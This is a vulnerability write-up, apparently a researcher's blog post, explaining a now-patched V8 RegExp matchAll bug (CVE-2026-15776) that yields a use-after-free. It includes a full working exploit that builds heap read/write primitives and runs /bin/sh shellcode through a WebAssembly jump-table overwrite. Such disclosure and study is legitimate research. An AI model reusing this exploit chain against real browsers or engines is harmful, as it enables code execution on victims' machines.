Skip to content

Latest commit

 

History

History
598 lines (445 loc) · 26.1 KB

File metadata and controls

598 lines (445 loc) · 26.1 KB
layout default
title From Regex to RCE
date 2026-07-26
permalink /v8/cve-2026-15776-from-regex-to-rce/

From Regex to RCE

Introduction

In this blogpost I will discuss a chrome 0 day I found and reported in July 2026, CVE-2026-15776, a bug in v8 that leads to UAF on the js heap. I chained this bug with an n-day sandbox escape and flagged the v8CTF, the latter bug will not be discussed.

We will see where the bug is, how it behaves and how to get RCE on a non sandboxed d8 instance.

Target

  • d8: V8 15.2.0 (candidate), build ID 0c3af5e5a4d734b5
  • Commit: 0c7a9d0d8c05491e8053d7259a1a6b11e75c1907
is_component_build = false
is_debug = false
target_cpu = "x64"
v8_enable_sandbox = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
dcheck_always_on = false
use_goma = false
v8_code_pointer_sandboxing = false

Bug fixed in de11d56041d5aa9c5e69b031990ad17068dbef7a

Some background knowledge

If you are already familiar with V8's internals you can skip this section.

On 64-bit builds with pointer compression, V8 reserves a 4 GB heap cage and represents references to objects inside it as 32-bit offsets, this is where most JavaScript objects live. These references are tagged: the lowest bit tells V8 whether a value is a heap-object reference or a small integer (smi). Small integers are stored directly as Smis, without allocating a separate object. Since a compressed tagged value is only 32 bits wide and the lowest bit is the tag, a Smi carries 31 bits, so the largest possible Smi is 1073741823 (2^30 -1). A number outside the Smi range, such as 1073741824, must instead be represented by a heap-allocated HeapNumber.

Generational garbage collection

For this bug, we can simplify V8's heap into two generations: young space, where most small objects are initially allocated, and old space, where objects are moved after surviving multiple collections. This follows the generational hypothesis: most objects die shortly after being created 🥀, so collecting young objects frequently is cheaper than scanning the entire heap.

V8's young-generation collector is called the Scavenger. Young space is split into two semispaces. On this build they initially hold 1 MB each. Allocations are placed sequentially in the active semispace, called to-space. When it fills, JavaScript execution pauses and a Scavenge begins:

  1. The semispaces swap roles, making the previous allocation space from-space.
  2. Reachable young objects are copied into the new to-space, or promoted to old space.
  3. References to copied objects are updated.
  4. Anything left behind in from-space is considered dead, and that memory can be reused.
before Scavenge:  to-space   [ live ][ dead ][ live ]
after Scavenge:   from-space [ old contents, now discarded ]
                  to-space   [ live ][ live ]

The Scavenger starts from roots such as the stack and global handles, but it does not rescan every object in old space. Doing so would defeat the purpose of a fast young-generation collection. Instead, whenever V8 stores a pointer to a young object inside an old object, a write barrier records that old-to-young reference in a remembered set. The Scavenger checks this set so that the young object is treated as reachable.

old object ──write barrier──> young object
                  │
                  └── recorded in the remembered set

If the write barrier is accidentally omitted, the Scavenger never learns about the reference. It can reclaim the young object while the old object still points to its former address, leaving behind a stale pointer.

The bug itself

The bug is in RegExp, this is the js object that represents a regex, for instance re = /cat/ will create a regex that matches the 3 consecutive characters cat. In js a regex is composed of 2 parts /Pattern/Flags flags changes how the regex behaves:

Normally, a RegExp starts searching from the beginning every time:

const re = /cat/;
re.exec("cat cat"); // finds the first cat
re.exec("cat cat"); // finds the first cat again

The g flag means global matching:

const re = /cat/g;
re.exec("cat cat"); // first cat
re.exec("cat cat"); // second cat
re.exec("cat cat"); // null

To remember where it stopped, the RegExp uses its lastIndex property:

const re = /cat/g;
re.lastIndex;       // 0
re.exec("cat cat");
re.lastIndex;       // 3
re.exec("cat cat");
re.lastIndex;       // 7

lastIndex is where the next search will start.

The y, or sticky, flag also uses lastIndex, but requires the match to begin exactly there. The g flag may search forward from it.

If a RegExp has neither g nor y, exec() ignores lastIndex:

const re = /cat/;
re.lastIndex = 999999;
re.exec("cat"); // still matches at index 0

matchAll() finds every match and returns an iterator:

const matches = "cat cat".matchAll(/cat/g);

This is an object that remembers:

  • the RegExp being used
  • the input string
  • whether matching is global
  • whether Unicode handling is enabled
  • whether iteration is finished

Calling .next() asks it for one match:

matches.next();
matches.next();
matches.next();

to be specific the iterator doesn't point to the original regex, but creates its own RegExp object.

Some regular expressions can successfully match without consuming any characters:

const re = /(?:)/g;

(?:) is an empty non-capturing group that matches the empty string, successfully. But this creates a problem:

match empty string at index 0
next search begins at index 0
match empty string at index 0
next search begins at index 0

To avoid an infinite loop, matchAll manually advances lastIndex after an empty match:

nextIndex = lastIndex + 1

With all of this in mind let's look at the source code:

src/builtins/regexp-match-all.tq

  if (matchStr == kEmptyString) {
    const thisIndex: Smi = FastLoadLastIndex(iteratingRegExp);

    const nextIndex: Smi =
        AdvanceStringIndexFast(
            iteratingString, thisIndex, flags.unicode);

    FastStoreLastIndex(iteratingRegExp, nextIndex);
  }

This is the if block inside the iterator code where an empty string is matched, the code does nothing but update the lastIndex.

TNode<Smi> AdvanceStringIndexFast(TNode<String> string, TNode<Smi> index,
                                    TNode<BoolT> is_unicode) {
    return CAST(AdvanceStringIndex(string, index, is_unicode, true));
}

This is only a thin wrapper, the actual increment happens one level down in AdvanceStringIndex. TNode<Number> represents a node in generated code that can represent either a Smi or a HeapNumber.

src/builtins/builtins-regexp-gen.cc

TNode<Number> RegExpBuiltinsAssembler::AdvanceStringIndex(
    TNode<String> string, TNode<Number> index, TNode<BoolT> is_unicode,
    bool is_fastpath) {
  // simplified code
  // NumberInc increments a number, if it is small enough it returns a Smi
  // otherwise a HeapNumber
  TNode<Number> index_plus_one = NumberInc(index);
  TVARIABLE(Number, var_result, index_plus_one);

  return var_result.value();
}

So AdvanceStringIndex hands back a TNode<Number>, and AdvanceStringIndexFast pushes it straight through CAST, which results in

return TNode<A>::UncheckedCast(node_);

It takes whatever AdvanceStringIndex returns and casts it to the return type of AdvanceStringIndexFast, so to a TNode<Smi>, without any check.

FastStoreLastIndex calls a cascade of functions to store the actual number

void RegExpBuiltinsAssembler::FastStoreLastIndex(TNode<JSRegExp> regexp,
                                                 TNode<Smi> value) {
  // Store the in-object field.
  static const int field_offset = JSRegExp::kLastIndexOffset;
  StoreObjectField(regexp, field_offset, value);
}
void CodeStubAssembler::StoreObjectField(TNode<HeapObject> object, int offset,
                                         TNode<Smi> value) {
  StoreObjectFieldNoWriteBarrier(object, offset, value);
}

The problem should now be clear, AdvanceStringIndex returns a Number, which may be either a Smi or a HeapNumber. However, AdvanceStringIndexFast casts that result to Smi. This type eventually selects the Smi-specific StoreObjectField overload, which omits the write barrier.

So now the question becomes: is it actually possible to get a HeapNumber out of this?

For the increment to leave the Smi range, thisIndex must already be the largest possible Smi: 1073741823. That is what makes the path unreachable during normal matchAll usage, because three things have to hold at the same time:

  1. lastIndex is 1073741823.
  2. The match still succeeds, and produces an empty match.
  3. The iterator believes matching is global.

The last two pull in opposite directions. lastIndex is only advanced when matching is global, but a global RegExp starts searching at lastIndex, so with lastIndex past the end of the string it refuses to match at all.

src/builtins/regexp-match-all.tq

  // We DON'T want to return early
  if (!flags.global) {
    receiver.flags.done = true;
    return AllocateJSIteratorResult(match, False);
  }

  // Only global iterators reach this code.
  if (matchStr == kEmptyString) {
    const thisIndex: Smi =
        FastLoadLastIndex(iteratingRegExp);

    const nextIndex: Smi =
        AdvanceStringIndexFast(
            iteratingString, thisIndex, flags.unicode);

    FastStoreLastIndex(iteratingRegExp, nextIndex);
  }

A normal global RegExp uses lastIndex as the starting position for the match:

  const re = /(?:)/g;
  re.lastIndex = 1073741823;

  re.exec(""); // null since "".length < 1073741823

A non-global RegExp behaves differently:

const re = /(?:)/;
re.lastIndex = 1073741823;

re.exec(""); // successful empty match at index 0

Because it has neither g nor y, RegExp execution ignores lastIndex and starts at zero.

You see the problem? We want to ignore the huge lastIndex and match at zero (no g or y), but advance after the empty match (we need g).

Breaking the invariant

The setup path of RegExp.prototype[Symbol.matchAll] obtains the matcher and iterator flags through separate operations: Basically when constructing the iterator, it creates its own copy of the RegExp "it was given".

src/builtins/regexp-match-all.tq

  const speciesConstructor =
      UnsafeCast<Constructor>(
          SpeciesConstructor(receiver, regexpFun));

  const flags = GetProperty(receiver, 'flags');
  const flagsString = ToString_Inline(flags);

  matcher = Construct(speciesConstructor, receiver, flagsString);

  const lastIndex: Number =
      ToLength_Inline(
          SlowLoadLastIndex(receiver));

  SlowStoreLastIndex(
      UnsafeCast<JSReceiver>(matcher),
      lastIndex);

  // Derived from receiver.flags, not matcher.flags.
  global = StringIndexOf(
      flagsString, StringConstant('g'), 0) != -1;

matcher -> result of calling the species constructor global -> derived from receiver.flags

Normally, the constructor creates a RegExp using flagsString, so they agree. But JavaScript constructors may explicitly return another object.

We can abuse that through some JS magic fuckery with Symbol.species, the tl dr is that some operations need to create a new object related to an existing one, you can explicitly define how that constructor behaves. You can also return another object, this behaviour is standard JavaScript not a V8 quirk.

const re = /(?:)/;

const fake = {
    flags: "g",
    lastIndex: 1073741823,
    constructor: {
        [Symbol.species]: function() { return re;}
    }
}

re.lastIndex; // 0
RegExp.prototype[Symbol.matchAll].call(fake, "")
re.lastIndex; // 1073741823 (smi)

So overall what happens is this: matchAll calls fake's custom constructor, it returns the existing re, lastIndex from fake is copied into re, while flags is copied inside the iterator (this field is not accessible from js by doing iterator.flags).

RegExp.prototype[Symbol.matchAll] gets the standard Symbol.matchAll method from RegExp.prototype. Using .call(fake, "") invokes that method with fake as its this value and the empty string as the string to match. This works because this builtin only requires its receiver to be an object, it does not require fake itself to be a real RegExp.

The call returns the newly created iterator. Appending .next() immediately asks that iterator for its first match:

RegExp.prototype[Symbol.matchAll].call(fake, "").next();

This triggers the bug, re.lastIndex will contain 1073741824 that is a HeapNumber.

Exploitation

After all that yapping we can finally start exploiting. TL;DR so far: we can store a young HeapNumber without emitting a write barrier.

For the missing barrier to matter, re must live in old space. If re were still young, the Scavenger would scan it while evacuating it and find the HeapNumber normally. We therefore allocate both re and our future victim, then trigger the Scavenger twice so they get promoted.

function trash(count) {for (let i = 0; i < count; i++) new Array(0x1000).fill(1.1);}

const re = /(?:)/;
let victim = [1.22, 1.33, 1.44];

// Promote re and victim.
trash(36)
trash(36)

const fake = {
  flags: "g",
  lastIndex: 1073741823,
  constructor: {[Symbol.species]: function() { return re }},
};

RegExp.prototype[Symbol.matchAll].call(fake, "").next();

We now have exactly the edge the GC must know about but does not: an old re pointing to a young HeapNumber through lastIndex.

On the first Scavenge after triggering the bug, the semispaces flip. Because the re.lastIndex slot is missing from the remembered set, the HeapNumber is not copied into the new to-space. It remains in from-space as dead memory while re keeps pointing to its old address.

A second Scavenge flips the spaces again, making the semispace containing that stale address available for allocation. Calling the semispaces A and B, and the HeapNumber H:

active:     A [H]
inactive:   B

-- first Scavenge --
active:     B
inactive:   A [H]

-- second Scavenge --
active:     A [H]    <- stale address can now be reused
inactive:   B

We can now spray young objects and try to place controlled data over the dead HeapNumber. The only remaining question is: what do we want re.lastIndex to point to?

V8 exploits usually start with weak primitives and combine them into stronger ones. Here we can skip some side quests and obtain addr_of, fake_obj, heap_read, and heap_write from a single fake array.

In V8, an array consists of two allocations:

JSArray                         FixedDoubleArray
+-----------------+             +-----------------+
| map, properties |             | map, length     |
| elements, length| ----------> | element[0]      |
+-----------------+             | element[1]      |
                                +-----------------+

victim is a legitimate packed-double array. We then reclaim the dead HeapNumber with a fake packed-double array called master, whose elements pointer is set to victim - 0x8.

master (fake)                  victim                         FixedDoubleArray
+-----------------+            +-----------------+             +-----------------+
| map, properties |            | map, properties |             | map, length     |
| elements, length| ---(-0x8)->| elements, length| ----------> | element[0]      |
+-----------------+            +-----------------+             | element[1]      |
                                                               +-----------------+

A FixedDoubleArray stores its first element at offset +0x8, so this cancels the -0x8: master[0] overlaps victim's map and properties, while master[1] overlaps its elements pointer and length. We can now change victim's map to leak tagged heap pointers, or redirect its elements pointer to read and write anywhere in the heap.

To create master, we repeat its four compressed fields throughout large double-array backing stores and hope one copy lands where the HeapNumber used to be. In technical terms this is called spray and pray (or 🧴💦 & 🙏 for short).

Each backing store is roughly 128 KiB, so four arrays spray about 512 KiB of controlled data—half of our 1 MiB semispace—with only four noisy JSArray headers mixed in. The size is not arbitrary: 0x3fff doubles plus the 8 byte header is exactly 0x20000, which is kMaxRegularHeapObjectSize. V8 only sends an allocation to large object space when its size is greater than that limit, so the backing store just barely stays in the young generation, which is the only place it is useful to us. Including that header, the 0x3fff array occupies 0x20010 bytes while the 0x3ffb array occupies 0x1fff0. Alternating them makes each pair exactly 0x40000 bytes, and all four exactly 0x80000. The arrays are not retained, so they create allocation pressure without surviving long enough to grow the semispace.

function spray_fake_arrays() {
    const even = i2f(BigInt(SIZE << 1) | BigInt(PACKED_DOUBLE_ELEMENTS) << 32n);
    const odd = i2f(BigInt(EMPTY_PROPERTIES) | BigInt(VICTIM_ADDR) << 32n);

    for (let i = 0; i < 4; i++) {
        const a = new Array(i & 1 ? 0x3ffb : 0x3fff).fill(odd);
        for (let j = 1; j < a.length; j += 2) a[j] = even;
    }
}

Putting everything together, the expected allocation schedule looks like this:

const fake = {
  flags: "g",
  lastIndex: 1073741823,
  constructor: {[Symbol.species]: function() { return re }},
};

RegExp.prototype[Symbol.matchAll].call(fake, "").next();
spray_fake_arrays(); // post-bug GC #1: B becomes active
spray_fake_arrays(); // post-bug GC #2: A becomes active
spray_fake_arrays(); // fill A with fake array layouts

let master = re.lastIndex;

function addr_of(target) {
  master[0] = u2f(EMPTY_PROPERTIES, PACKED_ELEMENTS);
  victim[0] = target;
  master[0] = u2f(EMPTY_PROPERTIES, PACKED_DOUBLE_ELEMENTS);

  return f2i(victim[0]) & 0xffffffffn;
}

function heap_read(location) {
  master[0] = u2f(EMPTY_PROPERTIES, PACKED_DOUBLE_ELEMENTS);
  master[1] = u2f(SIZE, Number(location - 0x8n));

  return f2i(victim[0]);
}

function heap_write(location, val) {
  master[0] = u2f(EMPTY_PROPERTIES, PACKED_DOUBLE_ELEMENTS);
  master[1] = u2f(SIZE, Number(location - 0x8n));

  victim[0] = i2f(val);
}

addr_of temporarily changes victim from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS, stores the target object, then changes it back. The same eight bytes that V8 just treated as a tagged object are now read as a double, leaking the compressed heap address.

For heap_read and heap_write, master[1] redirects victim.elements to location - 0x8. The normal +0x8 element offset cancels it, so reading or writing victim[0] accesses exactly location.

At this point all our heap primitives work. Since the V8 sandbox is disabled, we can turn them into RCE using two WebAssembly instances backed by two different modules.

The first is the spray instance. Its Wasm function contains chosen f64 constants basically a lot of 64-bit moves whose raw bytes encode the shellcode. We call it once so V8 lazily compiles the function and places those bytes inside executable Wasm code. We then leak the instance, follow its trusted-data pointer, and read the address of that executable region.

That first call also ruins that function as a redirection target. Before a Wasm function has been called, its jump-table entry points to the lazy-compilation stub. The stub compiles the function, patches the real jump-table entry, then calculates where to continue using WasmTrustedInstanceData::jump_table_start. Later calls use the patched entry directly and never read that field again.

We therefore need a fresh victim instance whose function has never been called. We overwrite its jump_table_start with the shellcode address, then make its first call. The lazy-compilation stub still runs, but when it tries to jump to the newly compiled victim function, it adds the function offset to our corrupted base and lands in the shellcode instead.

Because each module in this exploit contains only one function, the victim must come from a different module. Instances of the same WebAssembly.Module share the native module and its jump table, so compiling that function through one instance patches it for all of them. A module with a second, never-called function could theoretically do both jobs in one instance, but with our layout it is two modules and two instances: one stores the gun, the other gets exactly one chance to pull the trigger.

Final exploit:

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);
function hex(i) { return i.toString(16).padStart(8, "0"); }
function i2f(i) { bigUint64[0] = i; return f64[0]; }
function f2i(i) { f64[0] = i; return bigUint64[0]; }
function u2f(low, high) { u32[0] = high; u32[1] = low; return f64[0]; }
function u2i(low, high) { u32[0] = high; u32[1] = low; return bigUint64[0]; }

//scavenger
function trash(count) {for (let i = 0; i < count; i++) new Array(0x1000).fill(1.1);}

// /bin/sh
var wasm_spray_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x05,0x01,0x60,0x00,0x01,0x7c,0x03,0x02,0x01,0x00,0x07,0x08,0x01,0x04,0x6d,0x61,0x69,0x6e,0x00,0x00,0x0a,0x53,0x01,0x51,0x00,0x44,0xbb,0x2f,0x73,0x68,0x00,0x90,0xeb,0x07,0x44,0x48,0xc1,0xe3,0x20,0x90,0x90,0xeb,0x07,0x44,0xba,0x2f,0x62,0x69,0x6e,0x90,0xeb,0x07,0x44,0x48,0x01,0xd3,0x53,0x31,0xc0,0xeb,0x07,0x44,0xb0,0x3b,0x48,0x89,0xe7,0x90,0xeb,0x07,0x44,0x31,0xd2,0x48,0x31,0xf6,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x44,0x0f,0x05,0x90,0x90,0x90,0x90,0xeb,0x07,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x1a,0x0b]);
var wasm_spray_mod = new WebAssembly.Module(wasm_spray_code);
var wasm_spray_instance = new WebAssembly.Instance(wasm_spray_mod);
var spray = wasm_spray_instance.exports.main;
spray()

// to corrupt the pointer here.
var wasm_victim_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_victim_mod = new WebAssembly.Module(wasm_victim_code);
var wasm_victim_instance = new WebAssembly.Instance(wasm_victim_mod);
var win = wasm_victim_instance.exports.main;

// -----------------------------------------------------------------------------------
const PACKED_DOUBLE_ELEMENTS =0x0100d12d;
const PACKED_ELEMENTS  =      0x0100d1b5
const EMPTY_PROPERTIES =      0x0007e5;
const SIZE =                  0x20;

const VICTIM_ADDR =           0x01286d59-0x8;

function spray_fake_arrays() {
    const even = i2f(BigInt(SIZE << 1) | BigInt(PACKED_DOUBLE_ELEMENTS) << 32n);
    const odd = i2f(BigInt(EMPTY_PROPERTIES) | BigInt(VICTIM_ADDR) << 32n);

    for (let i = 0; i < 4; i++) {
        const a = new Array(i & 1 ? 0x3ffb : 0x3fff).fill(odd);
        for (let j = 1; j < a.length; j += 2) a[j] = even;
    }
}

const re = /(?:)/;
let victim = [1.22,1.33,1.44];

trash(36)
trash(36)

const fake = {
  flags: "g",
  lastIndex: 1073741823,
  constructor: {[Symbol.species]: function() { return re }},
};

RegExp.prototype[Symbol.matchAll].call(fake, "").next();
print(re.lastIndex)
spray_fake_arrays();
spray_fake_arrays();
spray_fake_arrays();

let master = re.lastIndex;

function addr_of(target){
  master[0] = u2f(EMPTY_PROPERTIES,PACKED_ELEMENTS);
  victim[0] = target;
  master[0] = u2f(EMPTY_PROPERTIES,PACKED_DOUBLE_ELEMENTS);

  return f2i(victim[0]) & 0xffffffffn;
}

function heap_read(location){
  master[0] = u2f(EMPTY_PROPERTIES,PACKED_DOUBLE_ELEMENTS);
  master[1] = u2f(SIZE,Number(location-0x8n));

  return f2i(victim[0]);

}

function heap_write(location, val){
  master[0] = u2f(EMPTY_PROPERTIES,PACKED_DOUBLE_ELEMENTS);
  master[1] = u2f(SIZE,Number(location-0x8n));

  victim[0] = i2f(val);

}

let wasm_spray_instance_addr = addr_of(wasm_spray_instance)
let wasm_spray_trusted = heap_read((wasm_spray_instance_addr)+12n) & 0xffffffffn
let rwx_spray = heap_read(wasm_spray_trusted+40n)
console.log(`[+]wasm_spray_instance_addr -> 0x${hex(wasm_spray_instance_addr)}`);
console.log(`[+]wasm_spray_trusted -> 0x${hex(wasm_spray_trusted)}`);
console.log(`[+]rwx_spray -> 0x${hex(rwx_spray)} target 0x${hex(rwx_spray+0xa5bn)}`);


let wasm_victim_instance_addr = addr_of(wasm_victim_instance)
let wasm_victim_trusted = heap_read(wasm_victim_instance_addr+12n) & 0xffffffffn

console.log(`[+]wasm_victim_instance_addr -> 0x${hex(wasm_victim_instance_addr)}`);
console.log(`[+]wasm_victim_trusted -> 0x${hex(wasm_victim_trusted)}`);

heap_write(wasm_victim_trusted+40n, rwx_spray+0xa5bn)
win()

The fix

The fix landed the day after the report, and it does not touch the types at all. V8 now makes the invariant explicit: before the increment, lastIndex is checked against the maximum Smi, and if it is not smaller the process is aborted on the spot.

Crashing on a value that JavaScript can set sounds harsh, but on this path lastIndex is an index into a string that was actually matched, and V8 caps string length well below 2^29, so a legitimate index cannot get anywhere near the maximum Smi. The only way to hand the fast path a maximal lastIndex is to forge the receiver the way we did, so the check only ever fires on an attacker. A silent missing write barrier becomes a controlled crash.

Timeline

date event
2026/07/09 reported to Chrome
2026/07/09 v8CTF submission
2026/07/10 fix pushed

Conclusion

The bug itself is one unchecked CAST on a value that is almost always a Smi. Everything else follows from that: the Smi type picks the barrier-free store, the missing barrier hides an old to young edge from the Scavenger, and the Scavenger happily frees an object that is still pointed at.

What I like about it is that neither half is a memory safety bug on its own. AdvanceStringIndex returning a HeapNumber is correct. The matchAll setup reading flags from the receiver while the matcher comes from Symbol.species is standard, specified JavaScript. They only become a UAF when they meet, and getting them to meet took a receiver that isn't a RegExp at all.